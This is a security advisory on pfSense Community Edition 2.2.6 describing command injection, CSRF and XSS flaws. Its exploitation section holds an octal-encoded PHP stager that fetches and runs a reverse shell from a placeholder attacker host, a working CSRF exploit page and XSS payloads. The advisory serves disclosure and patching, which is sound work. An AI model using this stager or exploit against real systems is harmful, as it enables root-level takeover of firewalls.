PfSense Community Edition 2.2.6 CSRF / XSS / Command Injection

🗓️ 15 Apr 2016 00:00:00Reported by Francesco OddoType

packetstorm🔗 packetstormsecurity.com👁 19 Views

pfSense Community Edition 2.2.6 firewall has CSRF, XSS, and Command Injection vulnerabilities allowing non-administrative users to execute remote code and escalate privileges

`( , ) (,  
. '.' ) ('. ',  
). , ('. ( ) (  
(_,) .'), ) _ _,  
/ _____/ / _ \ ____ ____ _____  
\____ \==/ /_\ \ _/ ___\/ _ \ / \  
/ \/ | \\ \__( <_> ) Y Y \  
/______ /\___|__ / \___ >____/|__|_| /  
\/ \/.-. \/ \/:wq  
(x.0)  
'=.|w|.='  
_=''"''=.  
  
presents..  
  
PfSense Community Edition Multiple Vulnerabilities  
Affected versions: PfSense Community Edition <= 2.2.6  
  
PDF:  
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf  
  
+-----------+  
|Description|  
+-----------+  
The pfSense community edition firewall is vulnerable to multiple  
vulnerabilities, including remote code execution via command injection  
as an authenticated non-administrative user, stored and reflected  
cross-site scripting.  
  
+------------+  
|Exploitation|  
+------------+  
==Command Injection==  
The status_rrd_graph_img.php page is vulnerable to command injection via  
the graph GET parameter. A non-administrative authenticated attacker  
having access privileges to the graph status functionality can inject  
arbitrary operating system commands and execute them in the context of  
the root user. Although input validation is performed on the graph  
parameter through a regular expression filter, the pipe character is not  
removed. Octal characters sequences can be used to encode a payload,  
bypass the filter for illegal characters, and create a PHP file to  
download and execute a malicious file (i.e. reverse shell) from a remote  
attacker controlled host.  
  
[Octal-encoded PHP Stager]  
stager = (  
'echo \'<?php $shell =  
file_get_contents("http://[ATTACKER_IP]/shell.elf");' +  
'file_put_contents("myshell.elf", $shell);' +  
'system("chmod 755 myshell.elf && ./myshell.elf"); ?> \' > shellexec'  
)  
encoded_stager = ''  
for c in stager:  
encoded_stager += "\\\\%03d" %(int(oct(ord(c))))  
print encoded_stager  
  
[CSRF POC]  
<html>  
<head>  
<script>  
function sploit() {  
var query = "database=-throughput.rrd&graph=file|printf  
[ENCODED_STAGER]|sh|echo ";  
var xhr = new XMLHttpRequest();  
xhr.open("GET", "https://<target>/status_rrd_graph_img.php?" +  
query, true);  
xhr.withCredentials = true;  
xhr.send();  
  
setTimeout(shellexec, 2000);  
}  
  
function shellexec() {  
document.csrf_exploit_exec.submit();  
}  
</script>  
</head>  
<body onload="sploit();">  
<form name="csrf_exploit_exec"  
action="https://<target>/status_rrd_graph_img.php">  
<input type="hidden" name="database" value="-throughput.rrd" />  
<input type="hidden" name="graph" value="file|php shellexec|echo " />  
</form>  
</body>  
</html>  
  
==Cross-site Scripting==  
Multiple instances of stored and reflected cross-scripting  
vulnerabilities exist in the web interface of the application. An  
authenticated attacker with limited privileges can run arbitrary  
JavaScript code in the context of admin users’ session and extend their  
access to administrative areas of the application (i.e. command prompt  
functionality).  
  
Param => descr  
Method => POST  
URL => /system_gateways_edit.php  
Payload => <script>alert(1)</script>  
Render => /system_gateways_groups_edit.php  
Type => Stored  
  
Param => container  
Method => POST  
URL => /firewall_shaper_layer7.php  
Payload => "><script>alert(1)</script>  
Render => /firewall_shaper_layer7.php  
Type => Reflected  
  
Param => newname  
Method => POST  
URL => /firewall_shaper_vinterface.php  
Payload => "><script>alert(1)</script>  
Render => /firewall_shaper_vinterface.php  
Type => Reflected  
  
  
+----------+  
| Solution |  
+----------+  
Upgrade to pfSense 2.3. This may be performed in the web interface or  
from the console.  
  
+------------+  
| Timeline |  
+------------+  
10/02/2016 – Initial disclosure to pfSense.  
11/02/2016 – Vendor confirms receipt of advisory and provides fixes.  
16/02/1016 – Sent follow up email about public release.  
16/02/2016 – Vendor requests advisory disclosure after release of new  
software build.  
12/04/2016 – Release of patched software build and vendor disclosure of  
security advisories.  
15/04/2016 – Public disclosure of security advisory.  
  
+------------+  
| Additional |  
+------------+  
Further information is available in the accompanying PDF.  
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf  
  
+------------+  
| References |  
+------------+  
https://www.pfsense.org/security/advisories/pfSense-SA-16_01.webgui.asc  
https://www.pfsense.org/security/advisories/pfSense-SA-16_02.webgui.asc  
  
  
  
`

15 Apr 2016 00:00Current

0.2Low risk

Vulners AI Score0.2